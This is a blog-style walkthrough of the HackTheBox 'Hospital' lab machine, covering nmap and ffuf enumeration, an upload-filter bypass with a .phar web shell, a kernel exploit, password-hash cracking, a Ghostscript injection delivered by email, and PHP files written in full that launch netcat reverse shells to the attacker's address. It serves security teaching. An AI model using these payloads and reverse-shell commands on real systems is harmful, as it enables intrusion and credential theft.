An Hospital Network Under Attack
Yesterday, I came across this fantastic box callde Hospital on HacktheBox.com and I was fascinated by it. From the very beginning, it started intriguing me right from the nmap scanning, through the various privilege escalation techniques it allows.
It is a Domain Controller that contains two different operating systems: a web server with a Linux operating system, probably a Docker, and then the actual Windows system with a second accessible site that includes a mail provider.
The path to fully compromising the machine is very winding; you need to bypass various protection filters to find a way to achieve arbitrary code execution, perform multiple lateral movements, and privilege escalation in both Linux and Windows environments. Now, I would say to start as usual with nmap. Happy reading.
Nmap 7.94SVN scan initiated Tue May 21 13:15:02 2024 as: nmap -T4 -sVC -A -p- -v -oN nmap.txt 10.10.11.241
Nmap scan report for hospital.htb (10.10.11.241)
Host is up (0.041s latency).
Not shown: 65506 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
|_ 256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-21 18:17:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after: 2028-09-06T10:49:03
| MD5: 04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
443/tcp open ssl/http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after: 2019-11-08T23:48:47
| MD5: a0a4:4cc9:9e84:b26f:9e63:9f9e:d229:dee0
|_SHA-1: b023:8c54:7a90:5bfa:119c:4e8b:acca:eacf:3649:1ff6
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| tls-alpn:
|_ http/1.1
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
|_http-favicon: Unknown favicon MD5: 924A68D347C80D0E502157E83812BB23
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after: 2028-09-06T10:49:03
| MD5: 04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
1801/tcp open msmq?
2103/tcp open msrpc Microsoft Windows RPC
2105/tcp open msrpc Microsoft Windows RPC
2107/tcp open msrpc Microsoft Windows RPC
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after: 2028-09-06T10:49:03
| MD5: 04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
3269/tcp open globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after: 2028-09-06T10:49:03
| MD5: 04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: HOSPITAL
| NetBIOS_Domain_Name: HOSPITAL
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: hospital.htb
| DNS_Computer_Name: DC.hospital.htb
| DNS_Tree_Name: hospital.htb
| Product_Version: 10.0.17763
|_ System_Time: 2024-05-21T18:18:00+00:00
| ssl-cert: Subject: commonName=DC.hospital.htb
| Issuer: commonName=DC.hospital.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-20T17:45:28
| Not valid after: 2024-11-19T17:45:28
| MD5: 549b:7859:74bc:90d4:7ca8:dd32:bc67:0416
|_SHA-1: 9d8d:8614:adce:99f3:dbab:4774:b84c:5bff:6be6:f8cd
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
6404/tcp open msrpc Microsoft Windows RPC
6406/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6407/tcp open msrpc Microsoft Windows RPC
6409/tcp open msrpc Microsoft Windows RPC
6617/tcp open msrpc Microsoft Windows RPC
6634/tcp open msrpc Microsoft Windows RPC
6641/tcp open msrpc Microsoft Windows RPC
8080/tcp open http Apache httpd 2.4.55 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.55 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
9389/tcp open mc-nmf .NET Message Framing
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 5.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:5.0
Aggressive OS guesses: Linux 5.0 (91%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 13.812 days (since Tue May 7 17:49:48 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-05-21T18:18:01
|_ start_date: N/A
|_clock-skew: mean: 6h59m41s, deviation: 0s, median: 6h59m41s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 56.19 ms 10.10.14.1
2 56.25 ms hospital.htb (10.10.11.241)
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 21 13:18:58 2024 -- 1 IP address (1 host up) scanned in 235.71 seconds
The first strange thing we notice is the presence of ports typically associated with Linux (port 22 SSH) and the typical Active Directory ports (Kerberos, LDAP, WINRM ports). Thanks to the nmap enumeration script, we notice that on port 443 (HTTPS) we have an Apache server running on Windows, and another Apache server on port 8080 (HTTP), but this time on Ubuntu.
To further confirm the presence of the two different operating systems, we can analyze the TTL of the data packets sent to the machine. In fact, if we send data packets using the 'ping' command, we notice a TTL (time to live) of 127, but if we analyze the TTL of the packets when we try to connect to a typical Linux port like 22, we get a TTL of 62.
Near to 128 is for Windows and 62 is for Linux.
The difference in the TTL between packets coming from Linux and Windows systems is due to the different default TTL values that each operating system sets for the IP packets it sends. The TTL value is a field in the IP header that specifies the maximum number of hops that a packet can make through routers before being discarded.
Now let the enumeration begin
On port 443 (HTTPS), we have an access login portal, but we don't have credentials yet. (admin:adimd didn't worked)
On port 8080 (HTTP), there's another access portal. We don't have credentials, but we can try registering.
- Enumerating users is not possible.
- Standard combinations like "admin:password" don't grant access.
- Trying to register the user "admin" results in a message that the user already exists.
After registering a new user, we gain access to a portal where it's possible to upload a file.
What we need to do now is directory busting to see if we can find anything else. One of my favorite tools is ffuf, and the command I've used is:
ffuf -u https://hospital.htb:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://hospital.htb:8080/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htaccess [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 31ms]
.hta [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 52ms]
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 53ms]
.htpasswd [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 2238ms]
css [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 52ms]
fonts [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 49ms]
images [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 53ms]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 54ms]
js [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 49ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 51ms]
uploads [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 43ms]
vendor [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 57ms]
:: Progress: [4614/4614] :: Job [1/1] :: 696 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
The most interesting directory is https://hospital.htb:8080/uploads. We receive a response status 301 (forbidden), but since we have a file upload endpoint, we can assume that uploaded files will end up in this directory.
The server is running PHP so let's try upload .php file.
Let's create a file to see if we can achieve arbitrary code execution:
echo '<?php phpinfo(); ?>' > info.php
If we try to upload our info.php file, we get an error message. There are definitely filters preventing us from uploading the file with the extension we need. In fact, if we intercept the browser request with Burp Suite and change the file extension to .png, we can successfully upload it.
We can assume that there's a blacklist checking the file extension before they are uploaded. To find an executable extension, we can test with a wordlist to see which extensions are allowed and which are not.
Having successfully uploaded a file, we can check if it is located in /uploads.
And yes:
Since the Community version of Burp Suite can be slow, let's go back to our trusted ffuf. We can copy the intercepted request from Burp and insert the term "FUZZ" where we want to test the various possible extensions.
For the wordlist, I used one published in the Seclist repository, and the command I used is this:
ffuf -request upload.req -request-proto http -w web-extensions.txt
An allowed extension that allows code execution is ".phar". In fact, after creating the new file "test.phar", we have access to the phpinfo file, and the news is not good; we have almost all the functions necessary for a reverse shell blocked.
After some research on Google and even ChatGPT (yes, they are the best and most used tools!), I discovered the existence of a tool specifically designed to bypass disabled functions and create a reverse shell: Weevely.
领英推荐
Weevely creates a file with the necessary extension and requires a password. Once we have access to the created file and provide the password, it opens a direct connection.
Now we have a shell on the machine! And we are indeed in a Linux environment.
It's not a beautiful shell, indeed it's terrible, but from here, we can move to the classic netcat shell and execute our standard exploration. Let's upload the Peass and analyze the output.
One of the first things I try to look for is if there's a kernel exploit available for privilege escalation, and this time we're lucky. The server hasn't been updated, and CVE-2024-1086 is available.
the Kernel exploit worked and now we are root: https://github.com/Notselwyn/CVE-2024-1086/releases
With the privileges we have now, we have access to the file /etc/shadow, which contains the hashes of all users authorized to log in to the machine, and we can try to crack them.
We did it! We obtained a password for the user drwilliams. This is our first lateral movements.
These credentials don't give us access to the Windows machine, but we gained access to a mail management console, the first login portal we found.
Among the emails, we find one requesting a specific file with the .eps extension for GhostScript. And who would have thought, Google once again finds the answer for us. There exists a Remote Code Execution (RCE) vulnerability related to the program used https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection
The command executes the script to insert our code to run on the machine. The first part downloads nc.exe (Netcat) from our specially opened SMB share, and then it executes the program to create the reverse shell connection.
python3 CVE_2023_36664_exploit.py --inject --payload 'cmd.exe /c \\\\10.10.14.47\\smbFolder\\nc.exe -e cmd 10.10.14.47 9001' --filename file.eps
Now lets replay to the mail sending our file:
As soon as someone open the file we notice the connection to our share and we got the shell!
Now we are drbronw, another lateral movement.
Exploring the "Documents" folder, we find the transcript of a PowerShell session where we discover a password in plain text. This password turns out to be associated with the user we are using, who has permissions to connect via WinRM. Now we also have a way to reconnect to the machine in case we lose the connection.
Being in a Windows environment now, we can also use a tool like WinPEAS to find a way to elevate our privileges, a similar script that we used before in linux.
The most interesting thing it shows is an unquoted service where it seems possible to perform a DLL Hijacking.
By checking the execution permissions and finding a way to execute malicious code within the relevant directory, it's possible to open a shell with administrator privileges.
echo "<?php system('whoami'); ?>" | OutFile -Encoding UTF8 C:\xampp\htdocs\whoami.php
C:\Windows\System32\curl.exe -k https://localhost/whoami.php
Creating a .php file within the directory and attempting to execute it should confirm that it's possible.
It seems that there's some kind of filter here that doesn't allow the clean execution of the command, so it requires encoding to bypass this filter.
The file will be created with UTF-8 encoding, which is useful for supporting special characters.
Having successfully executed the "whoami" command in the first file, we confirmed that the user running the processes within the directory is "NT AUTHORITY\SYSTEM". Now we just need to create a second file named "shell.php" in the same way, but this time with commands to open a connection to our machine.
echo "<?php exec('C:\xampp\htdocs\nc.exe 10.10.14.47 7777 -e cmd.exe'); ?>" | OutFile -Encoding UTF8 C:\xampp\htdocs\shell.php
C:\Windows\System32\curl.exe -k https://localhost/shell.php
The climb has been long and the obstacles many, but we have finally managed to capture the administrator's flag, demonstrating that we have all the necessary permissions to compromise the machine.
As always, this article is for educational purposes only. All these techniques are illegal if used improperly without the appropriate permissions.